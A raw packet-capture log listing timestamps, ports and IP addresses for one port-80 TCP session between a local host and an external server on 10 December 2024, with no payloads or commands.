Dec 10, 2024 02:50:05.950001955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.950048923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.951133966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.951195002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.951323032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.951400042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.952301979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.952361107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.952402115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.952460051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.953455925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.953543901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.953671932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.953713894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.954658985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.954720974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.954761028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.954847097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.955832958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.955888033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.955955029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.956000090 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.956990957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.957041025 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.957103014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.957153082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.958146095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.958198071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.958281040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.958336115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.959291935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.959336996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.959414005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.959481955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.960442066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.960496902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.960542917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.960582018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.961631060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.961683035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.961765051 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.961808920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.962754011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.962866068 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.962884903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.962908030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.963915110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.963979006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.964021921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.964129925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.965064049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.965141058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.965162992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.965229988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.966207027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.966257095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.006866932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.006946087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.006973982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.007009029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.007241964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.007349968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.007406950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.008398056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.008471012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.008503914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.008548975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.009568930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.009608984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.009670019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.009718895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.010732889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.010788918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.010917902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.010974884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.011872053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.011919022 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.011964083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.012013912 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.013030052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.013083935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.013133049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.013211966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.014179945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.014269114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.014287949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.014333963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.015347004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.015393019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.015459061 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.015500069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.016525984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.016609907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.016635895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.016701937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.017647982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.017718077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.065813065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.065893888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.065944910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.065996885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.066411972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.066463947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.066505909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.066541910 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.067538023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.067584038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.067629099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.067689896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.068692923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.068754911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.068795919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.068835974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.069845915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.069892883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.069950104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.069987059 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.071007013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.071054935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.071106911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.071146965 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.072158098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.072215080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.072268963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.072309971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.073348999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.073405981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.073447943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.073489904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.074486971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.074553967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.074596882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.074695110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.075639009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.075711012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.075750113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.075795889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.076802969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.076880932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.076917887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.076997042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.077976942 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.078071117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.078078032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.078111887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.079116106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.079207897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.079251051 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.079304934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.080281019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.080364943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.080403090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.080446005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.081444025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.081486940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.081563950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.081618071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.082607031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.082654953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.082695007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.082737923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.083760977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.083848953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.083864927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.083923101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.084923029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.085004091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.085031033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.085073948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.086069107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.086105108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.086177111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.086232901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.087214947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.087311029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.087328911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.087393045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.088323116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.088366032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.088407040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.088459969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.089447021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.089493990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.089607954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.089653015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.090572119 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.090621948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.090668917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.090708017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.091638088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.091697931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.135678053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.135775089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.135816097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.135864973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.136204958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.136257887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.136428118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.136475086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.136535883 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.136579037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.137561083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.137638092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.137675047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.137717962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.138678074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.138731003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.138767004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.138809919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.139801025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.139843941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.139931917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.139976025 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.140908957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.140993118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.141026020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.141067982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.142019033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.142060995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.142133951 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.142170906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.143136024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.143194914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.143239975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.143310070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.144270897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.144313097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.144391060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.144439936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.145361900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.145407915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.145467043 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.145514011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.146482944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.146533012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.146603107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.146683931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.147605896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.147648096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.147715092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.147764921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.148725986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.148766994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.148806095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.148858070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.149844885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.149921894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.149951935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.150007963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.150954008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.151002884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.151037931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.151098013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.152070045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.152105093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.152194023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.152245998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.153187037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.153239012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.153276920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.153331995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.154306889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.154361963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.154402971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.154449940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.155419111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.155476093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.155508041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.155595064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.156531096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.156591892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.156604052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.156671047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.199090958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.199143887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.199203968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.199259043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.199623108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.199673891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.199841022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.199881077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.199965954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.200006962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.200990915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.201083899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.201097012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.201143026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.202079058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.202153921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.202199936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.202282906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.203186989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.203248978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.203293085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.203345060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.204920053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.204982042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.205084085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.205127001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.206080914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.206145048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.206290960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.206347942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.207180977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.207226992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.207367897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.207416058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.208224058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.208266973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.208442926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.208492994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.209407091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.209459066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.209547997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.209605932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.257916927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.257926941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.257978916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.257978916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.258238077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.258307934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.258349895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.258392096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.259342909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.259386063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.259455919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.259502888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.260235071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.260293961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.260332108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.260366917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.261327982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.261373997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.261444092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.261497021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.262478113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.262563944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.262588024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.262639999 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.263566017 CET	80	49704	185.215.113.206	192.168.2.5
